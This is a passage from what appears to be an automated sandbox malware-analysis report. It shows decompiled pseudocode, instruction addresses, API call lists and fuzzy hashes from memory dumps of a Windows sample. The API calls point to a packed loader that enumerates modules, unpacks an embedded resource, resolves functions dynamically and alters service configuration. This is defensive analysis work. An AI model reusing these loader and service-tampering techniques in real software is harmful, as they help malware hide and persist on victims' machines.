											_t385 =  *((intOrPtr*)( *((intOrPtr*)( *_t384 + 0x28))))(_t384); // executed
											__eflags = _t385;
											if(_t385 >= 0) {
												 *((intOrPtr*)(_t563 + 0x38)) = 0;
												E00401870(_t563 + 0x44, _t552, "_._");
												_t539 = __imp__#8;
												 *((intOrPtr*)(_t563 + 0x40)) = 0;
												 *_t539(_t563 + 0x94);
												E00401870(_t563 + 0x3c, _t552, "___");
												 *_t539(_t563 + 0xa4);
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t563 + 0x4c)))) + 0x34))))( *((intOrPtr*)(_t563 + 0x50)), E004018D0(_t563 + 0x58)); // executed
												_t542 =  *(_t563 + 0x58);
												__eflags = _t542;
												if(_t542 == 0) {
													E0040AD90(0x80004003);
												}
												_t396 =  *((intOrPtr*)( *((intOrPtr*)( *_t542))))(_t542, 0x41b270, E004018D0(_t563 + 0x54));
												 *((intOrPtr*)(_t563 + 0x94)) = _t552 + 0xfffffff2;
												 *((intOrPtr*)(_t563 + 0x98)) = 0;
												__imp__#15(0x11, 1, _t563 + 0x88); // executed
												_t543 = _t396;
												 *((intOrPtr*)(_t563 + 0x50)) = 0;
												__imp__#23(_t543, _t563 + 0x48);
												E0040B350(0, _t528, _t543,  *((intOrPtr*)(_t563 + 0x48)), _t528, _t552 + 0xfffffff2);
												_t564 = _t563 + 0xc;
												__imp__#24(_t543);
												_t399 =  *(_t564 + 0x54);
												__eflags = _t399;
												if(_t399 == 0) {
													_t399 = E0040AD90(0x80004003);
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t399 + 0xb4))))(_t399, _t543, E004018D0(_t564 + 0x34)); // executed
												__eflags = _t543;
												if(_t543 != 0) {
													__imp__#16(_t543); // executed
												}
												_t402 =  *(_t564 + 0x34);
												__eflags = _t402;
												if(_t402 == 0) {
													_t402 = E0040AD90(0x80004003);
												}
												_t469 =  *(_t564 + 0x40);
												_t555 = _t402;
												__eflags = _t469;
												if(_t469 == 0) {
													_t531 = 0;
													__eflags = 0;
												} else {
													_t531 =  *_t469;
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t402 + 0x44))))(_t555, _t531, E004018D0(_t564 + 0x3c)); // executed
												__imp__#411(0xc, 0, 0);
												_t471 =  *(_t564 + 0x3c);
												__eflags = _t471;
												if(_t471 == 0) {
													E0040AD90(0x80004003);
												}
												_t405 =  *(_t564 + 0x38);
												__eflags = _t405;
												if(_t405 == 0) {
													_t514 = 0;
													__eflags = 0;
												} else {
													_t514 =  *_t405;
												}
												_t563 = _t564 - 0x10;
												_t407 = _t563;
												 *_t407 =  *((intOrPtr*)(_t564 + 0x94));
												 *((intOrPtr*)(_t407 + 4)) =  *((intOrPtr*)(_t563 + 0xb0));
												 *((intOrPtr*)(_t407 + 8)) =  *((intOrPtr*)(_t563 + 0xb8));
												_t528 =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)(_t407 + 0xc)) =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)( *((intOrPtr*)( *_t471 + 0xe4))))(_t471, _t514, 0x118, 0, 0, _t564 + 0xa4);
												_t538 = __imp__#9; // 0x742dcf00
												_t538->i(_t563 + 0xa4);
												E004019A0(_t563 + 0x38);
												_t538->i(_t563 + 0x94);
												_t413 =  *(_t563 + 0x3c);
												__eflags = _t413;
												if(_t413 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t413 + 8))))(_t413);
												}
												E004019A0(_t563 + 0x40);
												_t415 =  *(_t563 + 0x34);
												__eflags = _t415;
												if(_t415 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t415 + 8))))(_t415);
												}
											}
										}
									}
									_t379 =  *((intOrPtr*)(_t563 + 0x174));
									__eflags = _t379 - _t563 + 0x178;
									if(__eflags != 0) {
										_push(_t379);
										E0040B6B5(0, _t528, _t538, __eflags);
										_t563 = _t563 + 4;
									}
								}
							}
							_t369 =  *(_t563 + 0x54);
							__eflags = _t369;
							if(_t369 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t369 + 8))))(_t369);
							}
							_t370 =  *(_t563 + 0x58);
							__eflags = _t370;
							if(_t370 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t370 + 8))))(_t370);
							}
						}
						goto L80;
					} else {
						_t428 = E00401650(_t557 + 0x60, _t557 + 0xd4);
						_t565 = _t557 + 8;
						_t547 = _t428;
						_t520 = _t565 + 0x298;
						while(1) {
							_t429 =  *_t520;
							if(_t429 !=  *_t547) {
								break;
							}
							if(_t429 == 0) {
								L7:
								_t429 = 0;
							} else {
								_t493 =  *((intOrPtr*)(_t520 + 1));
								if(_t493 !=  *((intOrPtr*)(_t547 + 1))) {
									break;
								} else {
									_t520 = _t520 + 2;
									_t547 = _t547 + 2;
									if(_t493 != 0) {
										continue;
									} else {
										goto L7;
									}
								}
							}
							L9:
							if(_t429 != 0) {
								_t431 = E00401650(_t565 + 0x14, _t565 + 0xb4);
								_t557 = _t565 + 8;
								_t548 = _t431;
								_t488 = _t557 + 0x298;
								while(1) {
									_t432 =  *_t488;
									__eflags = _t432 -  *_t548;
									if(_t432 !=  *_t548) {
										break;
									}
									__eflags = _t432;
									if(_t432 == 0) {
										L16:
										_t432 = 0;
									} else {
										_t432 =  *((intOrPtr*)(_t488 + 1));
										__eflags = _t432 -  *((intOrPtr*)(_t548 + 1));
										if(_t432 !=  *((intOrPtr*)(_t548 + 1))) {
											break;
										} else {
											_t488 = _t488 + 2;
											_t548 = _t548 + 2;
											__eflags = _t432;
											if(_t432 != 0) {
												continue;
											} else {
												goto L16;
											}
										}
									}
									L18:
									__eflags = _t432;
									if(_t432 == 0) {
										goto L10;
									} else {
										_t435 = Module32Next(_t525, _t557 + 0x278);
										__eflags = _t435;
										if(_t435 != 0) {
											do {
												_t437 = E00401650(_t557 + 0x60, _t557 + 0xd4);
												_t566 = _t557 + 8;
												_t549 = _t437;
												_t490 = _t566 + 0x298;
												while(1) {
													_t438 =  *_t490;
													__eflags = _t438 -  *_t549;
													if(_t438 !=  *_t549) {
														break;
													}
													__eflags = _t438;
													if(_t438 == 0) {
														L26:
														_t438 = 0;
													} else {
														_t438 =  *((intOrPtr*)(_t490 + 1));
														__eflags = _t438 -  *((intOrPtr*)(_t549 + 1));
														if(_t438 !=  *((intOrPtr*)(_t549 + 1))) {
															break;
														} else {
															_t490 = _t490 + 2;
															_t549 = _t549 + 2;
															__eflags = _t438;
															if(_t438 != 0) {
																continue;
															} else {
																goto L26;
															}
														}
													}
													L28:
													__eflags = _t438;
													if(_t438 == 0) {
														goto L10;
													} else {
														_t439 = E00401650(_t566 + 0x14, _t566 + 0xb4);
														_t557 = _t566 + 8;
														_t550 = _t439;
														_t492 = _t557 + 0x298;
														while(1) {
															_t440 =  *_t492;
															__eflags = _t440 -  *_t550;
															if(_t440 !=  *_t550) {
																break;
															}
															__eflags = _t440;
															if(_t440 == 0) {
																L34:
																_t440 = 0;
															} else {
																_t440 =  *((intOrPtr*)(_t492 + 1));
																__eflags = _t440 -  *((intOrPtr*)(_t550 + 1));
																if(_t440 !=  *((intOrPtr*)(_t550 + 1))) {
																	break;
																} else {
																	_t492 = _t492 + 2;
																	_t550 = _t550 + 2;
																	__eflags = _t440;
																	if(_t440 != 0) {
																		continue;
																	} else {
																		goto L34;
																	}
																}
															}
															L36:
															__eflags = _t440;
															if(_t440 == 0) {
																goto L10;
															} else {
																goto L37;
															}
															goto L81;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														goto L36;
													}
													goto L81;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												goto L28;
												L37:
												_t442 = Module32Next(_t525, _t557 + 0x278);
												__eflags = _t442;
											} while (_t442 != 0);
										}
										goto L38;
									}
									goto L81;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								goto L18;
							} else {
								L10:
								CloseHandle(_t525);
								return 0;
							}
							goto L81;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						goto L9;
					}
				}
				L81:
			}

0x004019f0
0x004019f0
0x004019fd
0x00401a10
0x00401a15
0x00401a1a
0x00401a1f
0x00401a24
0x00401a29
0x00401a2e
0x00401a33
0x00401a38
0x00401a3d
0x00401a42
0x00401a47
0x00401a4c
0x00401a51
0x00401a56
0x00401a5b
0x00401a60
0x00401a65
0x00401a6a
0x00401a6f
0x00401a74
0x00401a79
0x00401a7e
0x00401a83
0x00401a88
0x00401a8d
0x00401a92
0x00401a97
0x00401a9c
0x00401aa1
0x00401aa6
0x00401aab
0x00401ab0
0x00401ab9
0x00401aba
0x00401abf
0x00401ac7
0x0040248d
0x0040248d
0x00402496
0x00401acd
0x00401ad6
0x00401ae2
0x00401ae6
0x00401af1
0x00401af6
0x00401afb
0x00401b00
0x00401b05
0x00401b0a
0x00401b0f
0x00401b14
0x00401b19
0x00401b1e
0x00401b23
0x00401b28
0x00401b2d
0x00401b32
0x00401b37
0x00401b3c
0x00401b41
0x00401b46
0x00401b4b
0x00401b50
0x00401b55
0x00401b5a
0x00401b5f
0x00401b64
0x00401b69
0x00401b6e
0x00401b73
0x00401b78
0x00401b7d
0x00401b85
0x00401b8d
0x00401b95
0x00401b9d
0x00401ba4
0x00401ba9
0x00401bae
0x00401bb3
0x00401bb8
0x00401bbd
0x00401bc2
0x00401bc7
0x00401bcc
0x00401bd1
0x00401bd6
0x00401bdb
0x00401be0
0x00401be5
0x00401bea
0x00401bef
0x00401bf4
0x00401bf9
0x00401bfe
0x00401c03
0x00401c08
0x00401c0d
0x00401c12
0x00401c17
0x00401c1c
0x00401c21
0x00401c26
0x00401c2b
0x00401c30
0x00401c35
0x00401c3a
0x00401c3f
0x00401c44
0x00401c48
0x00401c4f
0x00401dc3
0x00401dc4
0x00401de0
0x00401de2
0x00401de7
0x00401dec
0x00401df1
0x00401df6
0x00401dfb
0x00401e00
0x00401e05
0x00401e0a
0x00401e0f
0x00401e14
0x00401e19
0x00401e1e
0x00401e23
0x00401e28
0x00401e2d
0x00401e32
0x00401e37
0x00401e3c
0x00401e41
0x00401e46
0x00401e4b
0x00401e50
0x00401e55
0x00401e5a
0x00401e5f
0x00401e64
0x00401e69
0x00401e6e
0x00401e73
0x00401e78
0x00401e7d
0x00401e82
0x00401e86
0x00401e8b
0x00401e96
0x00401e9a
0x00401ea4
0x00401eaf
0x00401eba
0x00401ebf
0x00401ec4
0x00401ec6
0x00401ecb
0x00401ece
0x00401ed2
0x00401ed4
0x00401eef
0x00401ed6
0x00401edd
0x00401ee2
0x00401ee6
0x00401ee9
0x00401ee9
0x00401ef7
0x00401efc
0x00401f02
0x00401f08
0x00401f0c
0x00401f15
0x00401f18
0x00401f1a
0x00401f1c
0x00401f22
0x00401f22
0x00401f24
0x00401f28
0x00401f2f
0x00401f33
0x00401f33
0x00401f40
0x00401f45
0x00401f4a
0x00401f4b
0x00401f50
0x00401f58
0x00401f58
0x00401f58
0x00401f58
0x00401f33
0x00401f63
0x00401f63
0x00401f69
0x00401f72
0x00401f72
0x00401f72
0x00401f73
0x00401f75
0x00401f7b
0x00401f80
0x00401f81
0x00401f86
0x00401f86
0x00401f8c
0x00401f8d
0x00401f8d
0x00401f9d
0x00401fa2
0x00401fa6
0x00401fac
0x00401faf
0x00401fb6
0x00401fbf
0x00401fc4
0x00401fc8
0x00401fce
0x00401fd3
0x00401fe0
0x00401fec
0x00401ffe
0x00402001
0x00402006
0x0040200b
0x00402010
0x00402015
0x0040201a
0x0040201f
0x00402024
0x00402029
0x0040202e
0x00402033
0x00402038
0x0040203d
0x00402042
0x00402047
0x0040204c
0x00402051
0x00402056
0x0040205b
0x00402060
0x00402065
0x0040206a
0x0040206f
0x00402074
0x00402079
0x0040207e
0x00402083
0x00402088
0x0040208d
0x00402092
0x00402097
0x0040209c
0x004020a1
0x004020a5
0x004020aa
0x004020ae
0x004020b4
0x004020b6
0x004020bb
0x004020c0
0x004020c5
0x004020ca
0x004020cf
0x004020d4
0x004020e1
0x004020e6
0x004020eb
0x004020f0
0x004020f5
0x004020fa
0x004020ff
0x00402104
0x00402109
0x0040210e
0x00402113
0x00402118
0x0040211d
0x00402122
0x00402127
0x0040212c
0x00402131
0x00402136
0x0040213b
0x00402140
0x00402145
0x0040214a
0x0040214f
0x00402154
0x00402159
0x0040215e
0x00402163
0x00402167
0x0040216c
0x00402171
0x00402177
0x00402179
0x0040217c
0x0040217e
0x00402183
0x00402188
0x0040218f
0x00402196
0x0040219a
0x0040219e
0x004021a2
0x004021a4
0x004021bc
0x004021be
0x004021c0
0x004021c6
0x004021ca
0x004021e5
0x004021ec
0x004021f1
0x00402213
0x00402215
0x00402217
0x0040221d
0x00402239
0x0040223b
0x0040223d
0x00402243
0x0040224d
0x0040224f
0x00402251
0x00402260
0x00402264
0x00402269
0x00402277
0x0040227b
0x00402286
0x00402293
0x004022af
0x004022b1
0x004022b5
0x004022b7
0x004022be
0x004022be
0x004022d7
0x004022e8
0x004022ef
0x004022f6
0x00402300
0x00402304
0x00402308
0x00402315
0x0040231a
0x0040231e
0x00402324
0x00402328
0x0040232a
0x00402331
0x00402331
0x0040234e
0x00402350
0x00402352
0x00402355
0x00402355
0x0040235b
0x0040235f
0x00402361
0x00402368
0x00402368
0x0040236d
0x00402371
0x00402373
0x00402375
0x0040237b
0x0040237b
0x00402377
0x00402377
0x00402377
0x00402390
0x00402396
0x0040239c
0x004023a0
0x004023a2
0x004023a9
0x004023a9
0x004023ae
0x004023b2
0x004023b4
0x004023ba
0x004023ba
0x004023b6
0x004023b6
0x004023b6
0x004023ce
0x004023d1
0x004023d3
0x004023dd
0x004023ec
0x004023ef
0x004023fe
0x00402401
0x00402403
0x00402411
0x00402417
0x00402424
0x00402426
0x0040242a
0x0040242c
0x00402434
0x00402434
0x0040243a
0x0040243f
0x00402443
0x00402445
0x0040244d
0x0040244d
0x00402445
0x00402251
0x0040223d
0x0040244f
0x0040245d
0x0040245f
0x00402461
0x00402462
0x00402467
0x00402467
0x0040245f
0x004021ca
0x0040246a
0x0040246e
0x00402470
0x00402478
0x00402478
0x0040247a
0x0040247e
0x00402480
0x00402488
0x00402488
0x00402480
0x00000000
0x00401c55
0x00401c62
0x00401c67
0x00401c6a
0x00401c6c
0x00401c73
0x00401c73
0x00401c77
0x00000000
0x00000000
0x00401c7b
0x00401c8f
0x00401c8f
0x00401c7d
0x00401c7d
0x00401c83
0x00000000
0x00401c85
0x00401c85
0x00401c88
0x00401c8d
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c8d
0x00401c83
0x00401c98
0x00401c9a
0x00401cbd
0x00401cc2
0x00401cc5
0x00401cc7
0x00401cd0
0x00401cd0
0x00401cd2
0x00401cd4
0x00000000
0x00000000
0x00401cd6
0x00401cd8
0x00401cec
0x00401cec
0x00401cda
0x00401cda
0x00401cdd
0x00401ce0
0x00000000
0x00401ce2
0x00401ce2
0x00401ce5
0x00401ce8
0x00401cea
0x00000000
0x00000000
0x00000000
0x00000000
0x00401cea
0x00401ce0
0x00401cf5
0x00401cf5
0x00401cf7
0x00000000
0x00401cf9
0x00401d02
0x00401d07
0x00401d09
0x00401d10
0x00401d1d
0x00401d22
0x00401d25
0x00401d27
0x00401d30
0x00401d30
0x00401d32
0x00401d34
0x00000000
0x00000000
0x00401d36
0x00401d38
0x00401d4c
0x00401d4c
0x00401d3a
0x00401d3a
0x00401d3d
0x00401d40
0x00000000
0x00401d42
0x00401d42
0x00401d45
0x00401d48
0x00401d4a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d4a
0x00401d40
0x00401d55
0x00401d55
0x00401d57
0x00000000
0x00401d5d
0x00401d6a
0x00401d6f
0x00401d72
0x00401d74
0x00401d80
0x00401d80
0x00401d82
0x00401d84
0x00000000
0x00000000
0x00401d86
0x00401d88
0x00401d9c
0x00401d9c
0x00401d8a
0x00401d8a
0x00401d8d
0x00401d90
0x00000000
0x00401d92
0x00401d92
0x00401d95
0x00401d98
0x00401d9a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d9a
0x00401d90
0x00401da5
0x00401da5
0x00401da7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401da7
0x00401da0
0x00401da2
0x00000000
0x00401da2
0x00000000
0x00401d57
0x00401d50
0x00401d52
0x00000000
0x00401dad
0x00401db6
0x00401dbb
0x00401dbb
0x00401d10
0x00000000
0x00401d09
0x00000000
0x00401cf7
0x00401cf0
0x00401cf2
0x00000000
0x00401c9c
0x00401c9c
0x00401c9d
0x00401caf
0x00401caf
0x00000000
0x00401c9a
0x00401c93
0x00401c95
0x00000000
0x00401c95
0x00401c4f
0x00000000

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000000,?), ref: 00401C9D
Module32Next.KERNEL32 ref: 00401D02
Module32Next.KERNEL32 ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000000), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

{, xrefs: 00401B4B
{, xrefs: 00401E3C
W, xrefs: 00402033
[, xrefs: 00402047
x, xrefs: 00401E69
E, xrefs: 00401E0F
., xrefs: 0040201F
D, xrefs: 00401DFB
', xrefs: 00402006
!, xrefs: 004020CF
4, xrefs: 00402136
., xrefs: 00401B0A
:, xrefs: 00401B28
0, xrefs: 00401BBD
W, xrefs: 004020E6
{, xrefs: 0040211D
', xrefs: 00401AF6
V, xrefs: 00401E19
[, xrefs: 00401B37
v, xrefs: 0040212C
), xrefs: 0040202E
5, xrefs: 00402109
v, xrefs: 00401B5A
*, xrefs: 004020E1
", xrefs: 00401B0F
U, xrefs: 004020F5
x, xrefs: 00402088
___, xrefs: 0040227D
!, xrefs: 00401B1E
W, xrefs: 00401B23
PPKs, xrefs: 00402183
!, xrefs: 0040201A
W, xrefs: 00401B14
o, xrefs: 00402097
v, xrefs: 00401E4B
4, xrefs: 00402074
x, xrefs: 00401B78
%, xrefs: 004020FA
V, xrefs: 00402038
x, xrefs: 0040214A
h, xrefs: 00401A6F
4, xrefs: 00401B64
{, xrefs: 0040205B
8, xrefs: 00401BA9
o, xrefs: 00402159
6, xrefs: 004020C5
_._, xrefs: 00402257
v, xrefs: 0040206A
o, xrefs: 00401B8D
*, xrefs: 00401A1F

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$PPKs$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-892703413
Opcode ID: 9b8e818dc389e7faa11c559f92d128544e607fef32914ff1a283466d1b654c82
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: 9b8e818dc389e7faa11c559f92d128544e607fef32914ff1a283466d1b654c82
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Uniqueness

Uniqueness Score: -1.00%

Function 005B092B Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

l, xrefs: 005B0966
., xrefs: 005B095F
GetProcAddress., xrefs: 005B09DC, 005B09DF, 005B09E4

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: c7459638c87ba179e0e09c491d186f62b7a5d7d100fc19adb48b8d00ba977644
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 9F3148B6900609DFDB10CF99C884AEEBBF9FF48324F24514AD841A7291D771FA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0239A1A8 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 0239A4A0

Memory Dump Source

Source File: 00000002.00000002.367394519.0000000002390000.00000040.00000800.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2390000_amMl.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: ec81c34a96aeb302b7a0b66f819a702b457f5260884df7dc428aa9e5c1e65384
Instruction ID: d9489655544dd98ca6f6ac78981c9ffeb7f80f8e7916cb1b79ca834205d702bd
Opcode Fuzzy Hash: ec81c34a96aeb302b7a0b66f819a702b457f5260884df7dc428aa9e5c1e65384
Instruction Fuzzy Hash: 2AC14A71E106198FDF10CFA8C9857AEBBF2BF46314F148669E895E7284DB749881CF81

Uniqueness

Uniqueness Score: -1.00%

Function 023996A8 Relevance: 1.6, APIs: 1, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32(00000000), ref: 023997F4

Memory Dump Source

Source File: 00000002.00000002.367394519.0000000002390000.00000040.00000800.00020000.00000000.sdmp, Offset: 02390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2390000_amMl.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: e695b405e90c046c24e3e58f2d2d0688e90649715e9aa3fa2751e77d430a487d
Instruction ID: 2c0fbe14fbcd8d4d1818b44e0b46ce6d8d2838a3b13ae0ef4c23b529608eccbf
Opcode Fuzzy Hash: e695b405e90c046c24e3e58f2d2d0688e90649715e9aa3fa2751e77d430a487d
Instruction Fuzzy Hash: E9512374D002088FDB18CFA9C984B9EBBF6AF49304F24C02DE816AB295DB759945CF95

Uniqueness

Uniqueness Score: -1.00%

Function 005B003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 005B024D

Strings

cess, xrefs: 005B018D
kernel32.dll, xrefs: 005B008F, 005B0095

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 7551dfa21bb43cba0658288d1fd6cf974fef82f8ba6c86bf0450c771147d3be8
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 4F526874A00229DFDB64CF58C985BADBBB1BF09304F1480D9E94DAB291DB30AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E0040AF66(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v4;
				signed int _v16;
				signed int _v40;
				void* _t14;
				signed int _t15;
				intOrPtr* _t21;
				signed int _t24;
				void* _t28;
				void* _t39;
				void* _t40;
				signed int _t42;
				void* _t45;
				void* _t47;
				void* _t51;

				_t40 = __edi;
				_t28 = __ebx;
				_t45 = _t51;
				while(1) {
					_t14 = E0040B84D(_t28, _t39, _t40, _a4); // executed
					if(_t14 != 0) {
						break;
					}
					_t15 = E0040D2E3(_a4);
					__eflags = _t15;
					if(_t15 == 0) {
						__eflags =  *0x423490 & 0x00000001;
						if(( *0x423490 & 0x00000001) == 0) {
							 *0x423490 =  *0x423490 | 0x00000001;
							__eflags =  *0x423490;
							E0040AEFC(0x423484);
							E0040D2BD( *0x423490, 0x41a704);
						}
						E0040AF49( &_v16, 0x423484);
						E0040CD39( &_v16, 0x420fa4);
						asm("int3");
						_t47 = _t45;
						_push(_t47);
						_push(0xc);
						_push(0x420ff8);
						_t19 = E0040E1D8(_t28, _t40, 0x423484);
						_t42 = _v4;
						__eflags = _t42;
						if(_t42 != 0) {
							__eflags =  *0x4250b0 - 3;
							if( *0x4250b0 != 3) {
								_push(_t42);
								goto L16;
							} else {
								E0040D6E0(_t28, 4);
								_v16 = _v16 & 0x00000000;
								_t24 = E0040D713(_t42);
								_v40 = _t24;
								__eflags = _t24;
								if(_t24 != 0) {
									_push(_t42);
									_push(_t24);
									E0040D743();
								}
								_v16 = 0xfffffffe;
								_t19 = E0040B70B();
								__eflags = _v40;
								if(_v40 == 0) {
									_push(_v4);
									L16:
									__eflags = HeapFree( *0x4234b4, 0, ??);
									if(__eflags == 0) {
										_t21 = E0040BFC1(__eflags);
										 *_t21 = E0040BF7F(GetLastError());
									}
								}
							}
						}
						return E0040E21D(_t19);
					} else {
						continue;
					}
					L19:
				}
				return _t14;
				goto L19;
			}

0x0040af66
0x0040af66
0x0040af69
0x0040af7d
0x0040af80
0x0040af88
0x00000000
0x00000000
0x0040af73
0x0040af79
0x0040af7b
0x0040af8c
0x0040af98
0x0040af9a
0x0040af9a
0x0040afa3
0x0040afad
0x0040afb2
0x0040afb7
0x0040afc5
0x0040afca
0x0040afd0
0x0040aec2
0x0040b6b5
0x0040b6b7
0x0040b6bc
0x0040b6c1
0x0040b6c4
0x0040b6c6
0x0040b6c8
0x0040b6cf
0x0040b714
0x00000000
0x0040b6d1
0x0040b6d3
0x0040b6d9
0x0040b6de
0x0040b6e4
0x0040b6e7
0x0040b6e9
0x0040b6eb
0x0040b6ec
0x0040b6ed
0x0040b6f3
0x0040b6f4
0x0040b6fb
0x0040b700
0x0040b704
0x0040b706
0x0040b715
0x0040b723
0x0040b725
0x0040b727
0x0040b73a
0x0040b73c
0x0040b725
0x0040b704
0x0040b6cf
0x0040b742
0x00000000
0x00000000
0x00000000
0x00000000
0x0040af7b
0x0040af8b
0x00000000

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: a95b220d2d9c14b1a5c56d8a9dfd7e07f088015f43c1402ade5625b42879af68
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: a95b220d2d9c14b1a5c56d8a9dfd7e07f088015f43c1402ade5625b42879af68
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Uniqueness

Uniqueness Score: -1.00%

Function 00405A20 Relevance: 4.7, APIs: 3, Instructions: 212
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00405A20(signed int __edx, intOrPtr* _a4, char* _a8, signed int _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t78;
				signed int _t82;
				signed int _t84;
				signed int _t85;
